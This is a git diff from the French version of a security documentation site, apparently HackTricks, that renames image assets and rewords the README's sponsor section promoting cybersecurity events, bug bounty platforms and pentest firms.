diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..e70bceed6 Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..2173ed0a4 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 2173ed0a4..53e9f7c1f 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 53e9f7c1f..0ea1b8586 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea1b8586..b38f1e7c3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index b38f1e7c3..0e554c193 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0e554c193..a8cfa5b77 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a8cfa5b77..33c23d55b 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 33c23d55b..bedca8e18 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..a0a303a29 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index a0a303a29..f9a051e20 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..0b96b38ef 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..0ea2dbdc6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 0ea2dbdc6..af973a127 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index af973a127..4207464e0 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index 4207464e0..ca4f55331 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index ca4f55331..1e61555dd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 1e61555dd..6856b34b8 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 6856b34b8..cee86ab50 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index cee86ab50..1a985c3d4 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 1a985c3d4..13854046c 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..eaa792ed6 Binary files /dev/null and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eaa792ed6..eb7611c98 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index eb7611c98..4ede9266b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 4ede9266b..d7789e602 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d7789e602..ca4b6651b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index ca4b6651b..0330f840b 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0330f840b..8190e06a7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 8190e06a7..0c49287b0 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png index 0c49287b0..bedca8e18 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png index bedca8e18..611702103 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index 611702103..f0efd5ebd 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index f0efd5ebd..68b506e08 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 68b506e08..94022a58d 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 94022a58d..7118b03d4 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index 7118b03d4..ae8c5810e 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index ae8c5810e..e0b33932e 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index e0b33932e..6c2c20ea1 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..455fbb8b7 Binary files /dev/null and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 455fbb8b7..6874f9c86 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 6874f9c86..38b71f3d4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 38b71f3d4..7dcdeb084 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png index 7dcdeb084..865dc4ae4 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png index 865dc4ae4..0d52048cb 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index 0d52048cb..b98c9fbbc 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index b98c9fbbc..78abb7891 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index 78abb7891..cdd56bb93 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index cdd56bb93..f406f4410 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index f406f4410..61513f7bf 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index 61513f7bf..e0b33932e 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index e0b33932e..2c0467343 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..2fde683ec Binary files /dev/null and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png index 2fde683ec..ea50c990a 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png index ea50c990a..bc4b76df1 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png index bc4b76df1..8cd1f020d 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png index 8cd1f020d..c4dc34691 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png index c4dc34691..59ecb25fa 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png index 59ecb25fa..0a0d96518 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index 0a0d96518..8f2e02767 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index 8f2e02767..354be02ad 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index 354be02ad..00fb8b946 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png new file mode 100644 index 000000000..b2c2c3d26 Binary files /dev/null and b/.gitbook/assets/image (5) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png index b2c2c3d26..77f2a8962 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png index 77f2a8962..d74f01753 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index d74f01753..8f87ed9e5 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index 8f87ed9e5..4e7cfeff2 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 4e7cfeff2..70fe9294a 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 70fe9294a..3646dc3f3 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index 7f458c4f8..e9b177a57 100644 --- a/README.md +++ b/README.md @@ -30,20 +30,21 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https:// ### [RootedCON](https://www.rootedcon.com/) -
+
[**RootedCON**](https://www.rootedcon.com) est l'événement le plus pertinent en cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %} + *** ### [Intigriti](https://www.intigriti.com) -
+
**Intigriti** est la plateforme de piratage éthique **n°1 en Europe** et de **bug bounty**. -**Astuce de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! +**Conseil de bug bounty**: **Inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -51,7 +52,7 @@ Vous pouvez consulter leur **blog** sur [**https://blog.stmcyber.com**](https:// ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) -
+
\ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde. @@ -64,7 +65,7 @@ Accédez dès aujourd'hui: ### [HACKENPROOF](https://bit.ly/3xrrDrL) -
+
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes! @@ -72,7 +73,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb Engagez-vous avec du contenu qui explore le frisson et les défis du piratage **Actualités de Piratage en Temps Réel**\ -Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et aux perspectives en temps réel +Restez informé sur le monde du piratage à rythme rapide grâce aux actualités et perspectives en temps réel **Dernières Annonces**\ Restez informé des derniers lancements de bug bounties et des mises à jour cruciales de la plateforme @@ -81,19 +82,19 @@ Restez informé des derniers lancements de bug bounties et des mises à jour cru *** -### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle de test d'intrusion +### [Pentest-Tools.com](https://pentest-tools.com/) - La trousse à outils essentielle de test de pénétration -
+
-**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Effectuez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs d'intrusion - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. +**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un test de pénétration complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les testeurs de pénétration - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner plus de temps pour creuser plus profondément, ouvrir des shells et s'amuser. {% embed url="https://pentest-tools.com/" %} *** -### [Try Hard Security Group](https://discord.gg/tryhardsecurity) +\### [Try Hard Security Group](https://discord.gg/tryhardsecurity) -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -103,11 +104,11 @@ Restez informé des derniers lancements de bug bounties et des mises à jour cru
-[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une **approche moderne**. +[**WebSec**](https://websec.nl) est une entreprise de cybersécurité professionnelle basée à **Amsterdam** qui aide à **protéger** les entreprises **du monde entier** contre les dernières menaces en cybersécurité en fournissant des services de **sécurité offensive** avec une approche **moderne**. -WebSec est une entreprise de sécurité **tout-en-un**, ce qui signifie qu'ils font tout; Tests d'intrusion, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore. +WebSec est une **entreprise de sécurité tout-en-un** ce qui signifie qu'ils font tout; Tests de pénétration, Audits de sécurité, Formations en sensibilisation, Campagnes de phishing, Revue de code, Développement d'exploits, Externalisation d'experts en sécurité et bien plus encore. -Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site web "**Si nous ne pouvons pas le pirater, vous ne le payez pas!**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)! +Une autre chose cool à propos de WebSec est que contrairement à la moyenne de l'industrie, WebSec est **très confiant dans ses compétences**, à tel point qu'ils **garantissent les meilleurs résultats de qualité**, il est indiqué sur leur site "**Si nous ne pouvons pas le pirater, vous ne le payez pas!**". Pour plus d'informations, consultez leur [**site web**](https://websec.nl/en/) et leur [**blog**](https://websec.nl/blog/)! En plus de ce qui précède, WebSec est également un **supporter engagé de HackTricks.** @@ -123,14 +124,14 @@ En plus de ce qui précède, WebSec est également un **supporter engagé de Hac
